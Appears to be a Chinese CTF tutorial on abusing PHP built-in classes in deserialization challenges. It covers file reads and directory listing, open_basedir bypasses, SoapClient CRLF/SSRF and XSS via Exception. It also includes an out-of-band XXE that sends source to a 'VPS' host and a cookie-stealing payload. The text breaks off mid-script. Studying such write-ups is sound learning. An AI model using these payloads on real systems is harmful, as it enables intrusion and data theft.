Php原生类总结
想写一首LoveSong 发表于 山东 CTF 2255浏览 · 2024-02-22 04:13

PHP原生类总结

前言

做这个总结的目的,一方面是为了巩固一下之前学习的内容,另一方面就是将知识系统化整理让其他人学习。

在做题过程中,有时候根据已知源码,想获取flag是不可能的,但是如果是php环境下,而且可以利用php原生类,可以打一些意想不到的payload,从而bypass或者获得flag。

利用下面脚本可以遍历得到php内置类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            'open',
            '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

下面几个是在CTF中常用到的内置类

Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement

下面对这些原生类依次讲解

SplFileObject:读取文件

PHP: SplFileObject - Manual

根据官方文档:

  • SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作

类介绍

class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
    string $filename,
    string $mode = "r",
    bool $useIncludePath = false,
    ?resource $context = null
)
public current(): string|array|false|void
public eof(): boolvoid
public fflush(): boolvoid
public fgetc(): string|false|void
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): stringvoid
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): intvoid
public fputcsv(
    array $fields,
    string $separator = ",",
    string $enclosure = "\"",
    string $escape = "\\",
    string $eol = "\n"
): int|false
public fread(int $length): string|false
public fscanf(string $format, mixed &...$vars): array|int|null
public fseek(int $offset, int $whence = SEEK_SET): int
public fstat(): arrayvoid
public ftell(): int|false|void
public ftruncate(int $size): bool
public fwrite(string $data, int $length = 0): int|false
public getChildren(): nullvoid
public getCsvControl(): arrayvoid
public getFlags(): intvoid
public getMaxLineLen(): intvoid
public hasChildren(): falsevoid
public key(): intvoid
public next(): voidvoid
public rewind(): voidvoid
public seek(int $line): void
public setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public setFlags(int $flags): void
public setMaxLineLen(int $maxLength): void
public __toString(): stringvoid
public valid(): boolvoid
/* 继承的方法 */
public SplFileInfo::getATime(): int|false|void
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false|void
public SplFileInfo::getExtension(): stringvoid
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): stringvoid
public SplFileInfo::getGroup(): int|false|void
public SplFileInfo::getInode(): int|false|void
public SplFileInfo::getLinkTarget(): string|false|void
public SplFileInfo::getMTime(): int|false|void
public SplFileInfo::getOwner(): int|false|void
public SplFileInfo::getPath(): stringvoid
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): stringvoid
public SplFileInfo::getPerms(): int|false|void
public SplFileInfo::getRealPath(): string|false|void
public SplFileInfo::getSize(): int|false|void
public SplFileInfo::getType(): string|false|void
public SplFileInfo::isDir(): boolvoid
public SplFileInfo::isExecutable(): boolvoid
public SplFileInfo::isFile(): boolvoid
public SplFileInfo::isLink(): boolvoid
public SplFileInfo::isReadable(): boolvoid
public SplFileInfo::isWritable(): boolvoid
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): stringvoid
}

举个例子

flag.txt

flag{test1}
flag{test2}
flag{test3}
<?php
$a=new SplFileObject('flag.txt');
echo $a;

可以看到,SplFileObject一次只能读一行数据,因此在CTF中会结合php伪协议之类的打组合拳,也会和下面介绍的遍历目录的一些类打组合拳

而且,是否能够利用SplFileObject以及目录遍历内置类的关键是,看有没有echo之类的可以触发其内置的__toString(),从而实现PHP内置类的利用

例题

[GDOUCTF 2023]反方向的钟

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

链子还是比较清晰的

school::__wakeup()->classroom::hahaha()->school::IPO()
<?php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}
$a=new teacher('ing','department');
$b=new classroom('one class',$a);
$c=new school($b,'ong');
echo base64_encode(serialize($c));

之后可以进行传参了,但是根据源码,没有可以进行RCE的点,这个时候就可以利用PHP的原生类了

利用SplFileObject类结合php伪协议读取flag

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

[2021 MAR DASCTF 明御攻防赛]ez_serialize

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}

通过审计,发现链子为

A::__constuct->C::vaild->A::__wakeup()

我们不能使用特殊字符,可以利用字母和数字进行操作,而且可以看到

echo new  $this->class ($this->para);

可以通过echo调用内置类中的__toString(),从而利用php内置类,所以我们可以使用PHP内置类

先遍历目录

<?php
class A{
    public $class='FilesystemIterator';
    public $para='/var/www/html';
    public $check;
}
$a=new A();
echo urlencode(serialize($a));

遍历得到aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE

继续遍历

<?php
class A{
    public $class='FilesystemIterator';
    public $para='/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE';
    public $check;
}
$a=new A();
echo urlencode(serialize($a));

得到flag.php,之后结合SplFileObject类进行读取

<?php
class A{
    public $class='SplFileObject';
    public $para='/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php';
    public $check;
}
$a=new A();
echo urlencode(serialize($a));

GlobIterator,DirectoryIterator,FilesystemIterator:遍历目录

这几个类一般配合别的类打组合拳的

DirectoryIterator 类

PHP: DirectoryIterator - Manual

DirectoryIterator 类提供了一个简单的查看界面 文件系统目录的内容。

类摘要

class DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* 方法 */
public __construct(string $directory)
public current(): mixedvoid
public getBasename(string $suffix = ""): string
public getExtension(): stringvoid
public getFilename(): stringvoid
public isDot(): boolvoid
public key(): mixedvoid
public next(): voidvoid
public rewind(): voidvoid
public seek(int $offset): void
public __toString(): stringvoid
public valid(): boolvoid
/* 继承的方法 */
public SplFileInfo::getATime(): int|false|void
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false|void
public SplFileInfo::getExtension(): stringvoid
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): stringvoid
public SplFileInfo::getGroup(): int|false|void
public SplFileInfo::getInode(): int|false|void
public SplFileInfo::getLinkTarget(): string|false|void
public SplFileInfo::getMTime(): int|false|void
public SplFileInfo::getOwner(): int|false|void
public SplFileInfo::getPath(): stringvoid
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): stringvoid
public SplFileInfo::getPerms(): int|false|void
public SplFileInfo::getRealPath(): string|false|void
public SplFileInfo::getSize(): int|false|void
public SplFileInfo::getType(): string|false|void
public SplFileInfo::isDir(): boolvoid
public SplFileInfo::isExecutable(): boolvoid
public SplFileInfo::isFile(): boolvoid
public SplFileInfo::isLink(): boolvoid
public SplFileInfo::isReadable(): boolvoid
public SplFileInfo::isWritable(): boolvoid
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): stringvoid
}

示例:

<?php
$iterator = new DirectoryIterator('C:\\');
echo $iterator->getPathname();
?>
C:\$Recycle.Bin

遍历目录

<?php
$dir = $_GET['cmd'];
$a = new GlobIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>

会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名

常配合glob://协议寻找我们想要的文件路径

<?php
$dir=new DirectoryIterator("glob:///flag");
echo $dir;
payload:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

FilesystemIterator 类

PHP: FilesystemIterator - Manual

FilesystemIterator提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。

其实和DirectoryIterator类相同用法

<?php
$dir=new FilesystemIterator("C:\\");
echo $dir;
$Recycle.Bin
payload:
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

GlobIterator 类

遍历一个文件系统行为类似于 glob()

类摘要

class GlobIterator extends FilesystemIterator implements Countable {
/* 继承的常量 */
public const int FilesystemIterator::CURRENT_MODE_MASK;
public const int FilesystemIterator::CURRENT_AS_PATHNAME;
public const int FilesystemIterator::CURRENT_AS_FILEINFO;
public const int FilesystemIterator::CURRENT_AS_SELF;
public const int FilesystemIterator::KEY_MODE_MASK;
public const int FilesystemIterator::KEY_AS_PATHNAME;
public const int FilesystemIterator::FOLLOW_SYMLINKS;
public const int FilesystemIterator::KEY_AS_FILENAME;
public const int FilesystemIterator::NEW_CURRENT_AND_KEY;
public const int FilesystemIterator::OTHER_MODE_MASK;
public const int FilesystemIterator::SKIP_DOTS;
public const int FilesystemIterator::UNIX_PATHS;
/* 方法 */
public __construct(string $pattern, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)
public count(): intvoid
/* 继承的方法 */
public FilesystemIterator::current(): string|SplFileInfo|FilesystemIterator|void
public FilesystemIterator::getFlags(): intvoid
public FilesystemIterator::key(): stringvoid
public FilesystemIterator::next(): voidvoid
public FilesystemIterator::rewind(): voidvoid
public FilesystemIterator::setFlags(int $flags): void
public DirectoryIterator::current(): mixedvoid
public DirectoryIterator::getBasename(string $suffix = ""): string
public DirectoryIterator::getExtension(): stringvoid
public DirectoryIterator::getFilename(): stringvoid
public DirectoryIterator::isDot(): boolvoid
public DirectoryIterator::key(): mixedvoid
public DirectoryIterator::next(): voidvoid
public DirectoryIterator::rewind(): voidvoid
public DirectoryIterator::seek(int $offset): void
public DirectoryIterator::__toString(): stringvoid
public DirectoryIterator::valid(): boolvoid
public SplFileInfo::getATime(): int|false|void
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false|void
public SplFileInfo::getExtension(): stringvoid
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): stringvoid
public SplFileInfo::getGroup(): int|false|void
public SplFileInfo::getInode(): int|false|void
public SplFileInfo::getLinkTarget(): string|false|void
public SplFileInfo::getMTime(): int|false|void
public SplFileInfo::getOwner(): int|false|void
public SplFileInfo::getPath(): stringvoid
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): stringvoid
public SplFileInfo::getPerms(): int|false|void
public SplFileInfo::getRealPath(): string|false|void
public SplFileInfo::getSize(): int|false|void
public SplFileInfo::getType(): string|false|void
public SplFileInfo::isDir(): boolvoid
public SplFileInfo::isExecutable(): boolvoid
public SplFileInfo::isFile(): boolvoid
public SplFileInfo::isLink(): boolvoid
public SplFileInfo::isReadable(): boolvoid
public SplFileInfo::isWritable(): boolvoid
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): stringvoid
}

GlobIterator类与前面两个类的区别是,可以直接通过模式匹配寻找文件路径,而前两个类是生成一个指定目录的迭代器,之后利用echo调用内置类中的__tostring方法从而调用第一个文件名的

<?php
$dir = $_GET['cmd'];
$a = new GlobIterator($dir);
foreach($a as $f){
    echo($f);
}
?>
payload:
$a = new GlobIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}

Trick->绕过open_basedir限制

遍历目录

DirectoryIterator类 + glob://协议

<?php
ini_get('open_basedir');
$dir_array = array();

$dir = new DirectoryIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

$dir = new DirectoryIterator('glob:///.*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}
?>

利用两次DirectoryIterator类 + glob://协议可以直接读取根目录的内容

FilesystemIterator类 + glob://协议

我们上面也了解到了FilesystemIterator类和DirectoryIterator类作用一样,只是显示不太一样

<?php
ini_get('open_basedir');
$dir_array = array();

$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

$dir = new FilesystemIterator('glob:///.*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}

sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}
?>

文件读取

ini_set() + 相对路径

由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层

因此多设置几次ini_set()就可以跳转到根目录

<?php
    show_source(__FILE__);
    ini_get('open_basedir');

    mkdir('test');
    chdir('test');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','/');

    echo file_get_contents('/etc/passwd'); 

?>

shell命令执行

shell命令不受open_basedir的影响

<?php
    show_source(__FILE__);
    ini_get('open_basedir');
    system('cat /etc/passwd');
?>

symlink()

<?php
    show_source(__FILE__);

    mkdir("1");chdir("1");
    mkdir("2");chdir("2");
    mkdir("3");chdir("3");
    mkdir("4");chdir("4");

    chdir("..");chdir("..");chdir("..");chdir("..");

    symlink("1/2/3/4","tmplink");
    symlink("tmplink/../../../../etc/hosts","bypass");
    unlink("tmplink");
    mkdir("tmplink");
    echo file_get_contents("bypass");
?>

由于symlink()在软连接的时候不区分类型,我们利用创建的文件夹顶替了软连接,变成了

/www/wwwroot/default/tmplink/../../../../etc/hosts

也就目录穿越到了/etc/hosts

Error,Exception:XSS,绕过哈希比较

XSS

Error类

  • 适用于php7版本
  • 在开启报错的情况下

Error类可以自定义一个Error。

在Php7版本中,和前面的内置类利用条件一样,如果通过echo之类的方法,将对象当作一个字符串输出或使用的时候,会触发其内置的__toString方法,从而可以利用这个内置类做一些坏事情

比较常见的是在反序列化中没有pop链时,而且符合打的条件,可以转为利用Error类打Xss

<?php
$a=new Error("<script>alert('xss')</script>");
echo urlencode(serialize($a));
<?php
phpinfo();
show_source(__FILE__);
$a = unserialize($_GET['cmd']);
echo $a;
?>

可以看到,server端最后通过echo输出GET传参的结果,所以可以触发Error类的__toString方法

Exception类

  • 适用于php5、7版本
  • 开启报错的情况下

和Error类类似,但是可以在Php5版本下使用

<?php
$a=new Exception("<script>alert('xss')</script>");
echo urlencode(serialize($a));

例题

[BJDCTF 2nd]xss之光

利用Buu的靶机,打开BP扫描发现有git泄露

得到源码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

只给了一个传参地方,根据题目名以及条件,这个时候就可以利用内置类打Xss了

<?php
$a=new Exception('<script>window.open("http://9f5ea2b6-a58d-4d22-82c7-eeb923f3d9a6.node5.buuoj.cn:81/"+document.cookie)</script>');
//一般Xss题目flag在Cookie里
echo urlencode(serialize($a));

绕过哈希比较

Error类

  • php7.0.0

Exception类

  • php5

这里我两个一起说了,原理都是一样的

示例:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo $b;

可以看到,输出结果是一样的,因此可以绕过哈希

SoapClient:SSRF

PHP: SoapClient - Manual

SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

类摘要

class SoapClient {
/* 属性 */
private ?string $uri = null;
private ?int $style = null;
private ?int $use = null;
private ?string $location = null;
private bool $trace = false;
private ?int $compression = null;
private ?resource $sdl = null;
private ?resource $typemap = null;
private ?resource $httpsocket = null;
private ?resource $httpurl = null;
private ?string $_login = null;
private ?string $_password = null;
private bool $_use_digest = false;
private ?string $_digest = null;
private ?string $_proxy_host = null;
private ?int $_proxy_port = null;
private ?string $_proxy_login = null;
private ?string $_proxy_password = null;
private bool $_exceptions = true;
private ?string $_encoding = null;
private ?array $_classmap = null;
private ?int $_features = null;
private int $_connection_timeout;
private ?resource $_stream_context = null;
private ?string $_user_agent = null;
private bool $_keep_alive = true;
private ?int $_ssl_method = null;
private int $_soap_version;
private ?int $_use_proxy = null;
private array $_cookies = [];
private ?array $__default_headers = null;
private ?SoapFault $__soap_fault = null;
private ?string $__last_request = null;
private ?string $__last_response = null;
private ?string $__last_request_headers = null;
private ?string $__last_response_headers = null;
/* 方法 */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
    string $request,
    string $location,
    string $action,
    int $version,
    bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
    string $name,
    array $args,
    ?array $options = null,
    SoapHeader|array|null $inputHeaders = null,
    array &$outputHeaders = null
): mixed
}

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。

该类的构造函数如下:

PHP
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间

本地测试一下

<?php

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php'));

$client->AAA();
?>

本地监听9999端口

POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.0.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

我们发现ua是可控的,可以通过CRLF控制报文

<?php

$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

$client->AAA();
//echo urlencode(serialize($client));
?>
POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因为本地没加函数
Content-Type:application/x-www-form-urlencoded
Content-Length: 13

token=ctfshow//长度13 下面的丢弃
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

因此达成伪造的效果

例题

ctfshow web259

index.php

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

可以看到这里调用了一个不存在的方法,所以考点应该就是利用SoapClient打SSRF了

flag.php

<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); //打散为数组,用,分割
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

可以看到

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

XFF头需要array_pop两次,取第二次的值作为IP,所以我们构造XFF的时候需要注意一下,可以测试一下

array_pop两次:
X-Forwarded-For:x ————>X-Forwarded-For:空
X-Forwarded-For:x,y ————>X-Forwarded-For:x
X-Forwarded-For:x,y,z ————>X-Forwarded-For:y

CRLF小tips:

HTTP请求头之间的参数用一个\r\n分隔
HTTP Header与HTTP Body是用两个\r\n分隔的

payload:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$ua="test\r\nX-Forwared-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
//Content-Length需要修改
$b = new SoapClient(null,array('location' => $target,'user_agent'=>$ua,'uri'=> "http://127.0.0.1/"));
$a = serialize($b);
echo urlencode($a);
?>

之后访问flag.txt即可

SimpleXMLElement:XXE

PHP: SimpleXMLElement - Manual

能够利用SimpleXMLElement类进行XXE主要是因为调用SimpleXMLElement::__construct可以远程控制xml文件

PHP: SimpleXMLElement::__construct - Manual

可以看到,如果我们第三个参数dataIsURL设置为true,就可以远程调用xml文件,实现XXE攻击

  • 第一个参数data,就是我们自己设置payload的url地址
  • 第二个参数options,一般设置为2
  • 第三个参数dataIsURL,设置为true

例题

[SUCTF 2018]Homework

一进入靶机是一个登录界面,随便注册一个账号登录即可

发现有2个界面一个是调用calc进行计算,另一个是一个文件上传,猜测calc界面是用来获取源码或者hint的

发现这个计算器是由于module调用了calc类,从而实现计算器的功能的

而且参数是可控的,而且有3个参数可以控制,可以利用SimpleXMLElement进行XXE攻击调取源码

在VPS上构造:

evil.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://VPS/test/send.xml">
%int;
%all;
%send;
]>

send.xml

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://VPS/?%payl;'>">

从日志看

之后打SQL注入,就不再这里过多陈述

ZipArchive:删除文件

PHP: ZipArchive - Manual

用 Zip 压缩的文件归档。

  • php 5.20

常用类方法

ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

主要利用的是ZipArchive::open

主要是第二个参数flags选用的模式

ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8

所以我们可以设置flags为overwrite模式或者赋值为8进行文件删除,从而绕过一些限制

例题

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){   //admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){   
            shell($content);
        }else{
            echo file_get_contents($filename.".php");   
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));

可以发现是存在一个shell.php的,我们构造链子读一下

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){   //admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
$a=new Game();
$a->username='admin';
$a->password='admin';
$a->register='admin';
$a->file=new Open();
$a->filename='php://filter/read=convert.base64-encode/resource=shell';
$a->content='a';
echo base64_encode(serialize($a));

得到shell.php

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!');
    }
}

其实绕过还是比较好绕过的,但是在源码中

if(!file_get_contents('waf.txt')){
            shell($content);

只有waf.txt不存在的时候才可以进行命令执行,所以我们需要删除这个waf.txt,利用PHP内置类ZipArchive

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;

    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){   //admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
$a=new Game();
$a->username='admin';
$a->password='admin';
$a->register='admin';
